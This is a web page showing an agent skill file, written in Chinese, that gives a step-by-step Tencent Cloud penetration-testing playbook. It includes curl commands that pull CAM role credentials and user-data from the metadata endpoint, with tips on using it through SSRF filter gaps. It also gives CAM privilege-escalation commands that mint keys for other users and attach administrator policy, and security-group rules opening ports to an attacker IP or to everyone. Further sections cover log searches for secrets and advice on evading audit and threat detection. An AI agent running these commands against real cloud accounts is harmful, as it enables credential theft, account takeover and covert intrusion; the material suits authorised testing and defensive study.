tencent-pentesting
$
npx mdskill add wgpsec/AboutSecurity/tencent-pentestingExecute Tencent Cloud penetration tests across CAM, CVM, COS, and more.
- Identify credentials, leverage metadata endpoints, and exploit service vulnerabilities.
- Integrates with tccli, coscmd, and Tencent Cloud APIs for comprehensive assessment.
- Selects attack vectors based on detected assets, credentials, and service configurations.
- Delivers detailed technical reports with actionable exploitation paths and references.
SKILL.md
.github/skills/tencent-pentestingView on GitHub ↗
---
name: tencent-pentesting
description: "腾讯云渗透测试方法论。当目标使用腾讯云服务、发现 cos.*.myqcloud.com 资产、获取腾讯云 SecretId/SecretKey、在 CVM 实例内可访问 metadata.tencentyun.com 元数据、或需要对腾讯云 CAM/CVM/COS/TencentDB/TKE/SCF 等服务进行安全评估时使用。覆盖 CAM 提权、CVM 接管、COS 对象存储利用、TencentDB 数据库攻击、TKE 容器集群、SCF 云函数、CLB 负载均衡、CLS 日志服务、KMS 密钥管理"
metadata:
tags: "tencent-cloud,腾讯云,cam,cvm,cos,tencentdb,tke,scf,cls,clb,kms,ssm,tccli,coscmd,secretid,metadata.tencentyun.com,云渗透"
category: "cloud"
---
# 腾讯云渗透测试方法论
腾讯云 CAM/CVM/COS/TencentDB/TKE 等服务构成主要攻击面。与 AWS/阿里云不同,腾讯云的元数据端点使用域名 `metadata.tencentyun.com`(而非 IP),COS 操作需要独立的 `coscmd` 工具,CAM 使用 Uin/SubUin 身份模型(而非 ARN 体系)。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。
## ⛔ 深入参考(必读)
识别到具体攻击服务后,加载对应参考文档获取完整技术细节:
- 计算/存储/数据库详细利用 → 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md)
- 容器/Serverless/日志/KMS 详细利用 → 读 [references/platform-services-attacks.md](references/platform-services-attacks.md)
---
## Phase 1: 环境识别
拿到腾讯云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。
### 1.1 凭据类型
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| 长期 SecretId/SecretKey | SecretId 以 `AKID` 开头 | 永久(直到手动轮换) | CAM 控制台创建 / 代码泄露 |
| STS 临时凭据 | 包含 Token 字段 | 15 分钟 ~ 2 小时 | AssumeRole / CVM 元数据 |
| CVM Role(实例绑定) | 通过 metadata.tencentyun.com 获取 | 自动轮换 | CVM 实例元数据服务 |
### 1.2 CLI 配置
腾讯云有两个关键 CLI 工具,务必区分:
```bash
# 主 CLI: tccli(覆盖绝大多数服务)
pip install tccli
tccli configure
# 交互式填入 SecretId / SecretKey / Region / Output
# 验证当前身份
tccli sts GetCallerIdentity
# 返回: AccountId, Arn, Type (对应 Root/SubUser/RoleUser)
# COS 专用工具: coscmd(tccli cos 子命令功能有限!)
pip install coscmd
coscmd config -a SECRET_ID -s SECRET_KEY -b BUCKET_NAME -r REGION
# coscmd 支持 list / upload / download / delete 等完整文件操作
# tccli cos 仅支持 Bucket 级别 API,无法方便地列出/下载对象
```
**关键差异:** 腾讯云 COS 操作必须结合 `coscmd`。`tccli cos GetService` 可以列出 Bucket 列表,但枚举对象内容、批量下载等操作需要 `coscmd`。这是腾讯云渗透中的重要工具区别。
### 1.3 元数据端点
腾讯云 CVM 元数据端点使用域名(非 IP),这在主流云平台中是唯一的:
```bash
# 判断是否在 CVM 实例内部(注意:是域名,不是 IP!)
curl -s http://metadata.tencentyun.com/latest/meta-data/
# 获取实例绑定的 CAM Role 名称
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# 获取该 Role 的临时凭据(TmpSecretId/TmpSecretKey/Token)
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ROLE_NAME
# 获取实例 ID、区域等信息
curl -s http://metadata.tencentyun.com/latest/meta-data/instance-id
curl -s http://metadata.tencentyun.com/latest/meta-data/placement/region
# 获取 User-Data(可能包含初始化脚本中的凭据)
curl -s http://metadata.tencentyun.com/latest/user-data
```
**SSRF 利用差异:** 由于腾讯云使用域名而非 IP,某些仅限制 IP 的 SSRF 防护(如阻止 `169.254.169.254`、`100.100.100.200`)可能不会拦截 `metadata.tencentyun.com`。同时,腾讯云目前不强制 IMDSv2,大部分 CVM 实例的元数据服务可直接通过 HTTP GET 访问。
### 1.4 对象存储 URL 格式
```
公网访问: https://{bucket}-{appid}.cos.{region}.myqcloud.com/{object}
自定义域名: https://custom.domain.com/{object}
```
发现 `cos.*.myqcloud.com` 域名即可确认目标使用腾讯云 COS。Bucket 名称格式为 `{name}-{appid}`,appid 为数字。
### 1.5 区域编码
| 区域代码 | 位置 | 备注 |
|---|---|---|
| ap-guangzhou | 华南地区(广州) | 腾讯云总部所在地,最常用区域 |
| ap-shanghai | 华东地区(上海) | 金融客户常用 |
| ap-beijing | 华北地区(北京) | 政企客户常用 |
| ap-chengdu | 西南地区(成都) | |
| ap-chongqing | 西南地区(重庆) | |
| ap-nanjing | 华东地区(南京) | |
| ap-hongkong | 中国香港 | 无需备案,常被用于出海业务 |
| ap-singapore | 新加坡 | 海外区域 |
枚举时需遍历多个区域。部分服务(如 CAM、STS)为全局服务,不受区域限制。
### 1.6 CAM 身份模型
腾讯云 CAM 使用 Uin/SubUin 模型,与 AWS ARN 体系不同:
| 概念 | 腾讯云 CAM | AWS IAM |
|---|---|---|
| 主账号标识 | Uin(数字,如 100000123456) | Account ID(12 位数字) |
| 子用户标识 | SubUin(数字) | IAM User ARN |
| 角色标识 | RoleId + RoleName | Role ARN |
| 策略关联 | 通过 Uin/SubUin 绑定 | 通过 ARN 绑定 |
```bash
# 获取当前身份(已在 1.2 中介绍,此处复习)
tccli sts GetCallerIdentity
# 返回 AccountId(即主账号 Uin)、Type
# 列出子用户详情(需知道子用户 Uin)
tccli cam DescribeSubAccounts --FilterSubAccountUin '[SUB_UIN]'
```
---
## Phase 2: 攻击决策树
根据当前持有的凭据/位置,判断攻击路径:
```
当前持有什么?
├── 无凭据
│ ├── 有目标域名 → COS Bucket 枚举(猜解 bucket-appid 名 + 公开访问检测)
│ ├── 有 SSRF 漏洞 → 打 http://metadata.tencentyun.com 获取 CAM Role 凭据
│ └── 仅知组织名 → OSINT + COS/子域名枚举
│
├── 有 SecretId/SecretKey(AKID 开头)
│ ├── 先验证: tccli sts GetCallerIdentity
│ ├── 有 CAM 写权限 → Phase 3(CAM 提权)
│ ├── 有 CVM 权限 → Phase 4(计算/存储)
│ ├── 有 COS 权限 → Phase 4(对象存储,需 coscmd!)
│ ├── 有 TencentDB 权限 → Phase 4(数据库)
│ └── 权限不明 → 逐服务探测(手动调用各命名空间 Describe* 类 API)
│
├── 有 STS 临时凭据(含 Token)
│ └── 同上,但需注意有效期(最长 2 小时),快速行动
│
├── 在 CVM 实例内部
│ ├── 获取元数据 CAM Role 凭据 → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据
│
└── 有容器环境(TKE Pod 内部)
├── 检查 ServiceAccount Token
├── 尝试访问 metadata.tencentyun.com 元数据
└── → Phase 5(容器/Serverless)
```
---
## Phase 3: CAM 提权速查
CAM(Cloud Access Management)是腾讯云的身份权限服务,对标 AWS IAM。
### 3.1 信息收集
```bash
# 列出所有子用户
tccli cam ListUsers
# 查看指定子用户的策略(使用 SubUin)
tccli cam ListAttachedUserPolicies --TargetUin SUB_UIN
# 列出该用户的 AccessKey
tccli cam ListAccessKeys --TargetUin UIN
# 列出所有角色
tccli cam DescribeRoleList --Page 1 --Rp 100
```
### 3.2 提权路径
| 提权路径 | 所需权限 | 操作 |
|---|---|---|
| 创建 AccessKey | `cam:CreateAccessKey` | 为高权限用户创建新 SecretId/SecretKey |
| 附加策略 | `cam:AttachUserPolicy` | 给自己附加 `AdministratorAccess` |
| 创建策略版本 | `cam:CreatePolicy` | 创建 Allow * 策略并附加到自身 |
| 修改角色信任策略 | `cam:UpdateAssumeRolePolicy` | 修改角色信任实体使自己可 AssumeRole |
| PassRole + 创建 CVM | `cam:PassRole` + `cvm:RunInstances` | 启动绑定高权限 Role 的 CVM |
| PassRole + 创建 SCF | `cam:PassRole` + `scf:CreateFunction` | 创建绑定高权限 Role 的云函数并执行 |
```bash
# 提权示例:为目标用户创建新 AccessKey
tccli cam CreateAccessKey --TargetUin TARGET_UIN
# 成功返回 SecretId + SecretKey,用新凭据重新配置 CLI
# 提权示例:给当前用户附加管理员策略
tccli cam AttachUserPolicy --PolicyId 1 --AttachUin CURRENT_SUB_UIN
# PolicyId 1 = AdministratorAccess(腾讯云预设策略)
```
---
## Phase 4: 计算/存储/数据库速查
### CVM(云服务器)
```bash
# 列出实例
tccli cvm DescribeInstances --output json
# 获取指定实例详情
tccli cvm DescribeInstances --InstanceIds '["ins-INSTANCE_ID"]'
```
→ 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取 VNC 连接、User-Data 提取、TAT 命令执行完整流程
### COS(对象存储)
```bash
# 列出所有 Bucket(tccli 可完成)
tccli cos GetService --output json
# 列出 Bucket 内容(必须用 coscmd!)
coscmd -b BUCKET_NAME -r REGION list
coscmd -b BUCKET_NAME -r REGION list -a # 递归列出所有对象
```
→ 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取 ACL 检查、数据下载、公开访问检测完整流程
### TencentDB(数据库)
```bash
# 列出所有 MySQL 实例(cdb 命名空间)
tccli cdb DescribeDBInstances --output json
```
→ 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取连接信息获取、账号创建、数据导出完整流程
### CLB(负载均衡)
```bash
# 列出所有负载均衡实例
tccli clb DescribeLoadBalancers --output json
```
→ 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取后端篡改、流量劫持完整流程
---
## Phase 5: 容器/Serverless/日志/KMS 速查
### TKE(容器服务 Kubernetes)
```bash
# 列出集群 → 获取 kubeconfig
tccli tke DescribeClusters
tccli tke DescribeClusterKubeconfig --ClusterId cls-CLUSTER_ID
```
→ 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取集群接管、特权 Pod 创建完整流程
### SCF(云函数)
```bash
# 列出函数(命名空间为 scf,不是 scb!)
tccli scf ListFunctions --Namespace default --output json
```
→ 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取代码提取、环境变量泄露完整流程
### CLS(日志服务)
```bash
# 搜索敏感信息
tccli cls SearchLog --TopicId TOPIC_ID --Query "password|secret|token"
```
→ 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取日志搜索、批量导出完整流程
### KMS(密钥管理)
```bash
# 列出密钥 → 尝试解密
tccli kms ListKeys
```
→ 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取密钥枚举、数据解密完整流程
---
## Phase 6: 安全组操控
安全组是腾讯云 CVM 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。
```bash
# 列出所有安全组
tccli vpc DescribeSecurityGroups --output json
# 查看安全组规则
tccli vpc DescribeSecurityGroupPolicies --SecurityGroupId sg-SG_ID
# 添加入方向规则 — 仅开放攻击者 IP 的 SSH
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
--SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"22","CidrBlock":"ATTACKER_IP/32","Action":"ACCEPT"}]}'
# 危险操作 — 开放所有端口(极高告警风险)
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
--SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"ALL","CidrBlock":"0.0.0.0/0","Action":"ACCEPT"}]}'
```
**判断依据:** 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发大禹安全告警。
---
## 工具速查
| 工具 | 用途 | 安装/使用 |
|---|---|---|
| tccli | 腾讯云官方命令行工具 | `pip install tccli` |
| coscmd | COS 对象存储专用工具(必备!) | `pip install coscmd` |
| tccli sts GetCallerIdentity | 验证凭据身份 | 内置子命令 |
| curl | 元数据服务探测(注意用域名) | 系统自带 |
| kubectl | TKE 集群操作 | 获取 kubeconfig 后使用 |
| cf (Cloud Exploitation Framework) | 腾讯云/阿里云自动化利用 | `go install github.com/teamssix/cf@latest` |
## 注意事项
**云审计感知:** 腾讯云云审计(CloudAudit)记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:
- CAM 变更(CreateUser、CreateAccessKey、AttachUserPolicy)
- STS 调用(AssumeRole)
- 安全组规则变更(CreateSecurityGroupPolicies,vpc 命名空间)
**大禹安全检测:** 腾讯云安全产品会检测:
- SecretId/SecretKey 异常调用(异常 IP、异常时间、异常 API 频率)
- CVM 异常登录(非常用地域 IP)
- 安全组规则异常开放
- COS Bucket ACL 变更为公开
**速率限制:** 腾讯云 API 有限流机制,枚举时建议控制频率。触发限流返回 `RequestLimitExceeded` 错误码。
**区域遍历:** 与 AWS 类似,腾讯云资源按区域隔离。全局服务(CAM、STS)不受区域限制,但 CVM/COS/TencentDB 等需逐区域枚举。
**tccli 参数格式:** tccli 部分参数接受 JSON 格式(如 `--Accounts '[{...}]'`、`--SecurityGroupPolicySet '{...}'`),注意正确的 JSON 转义。
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|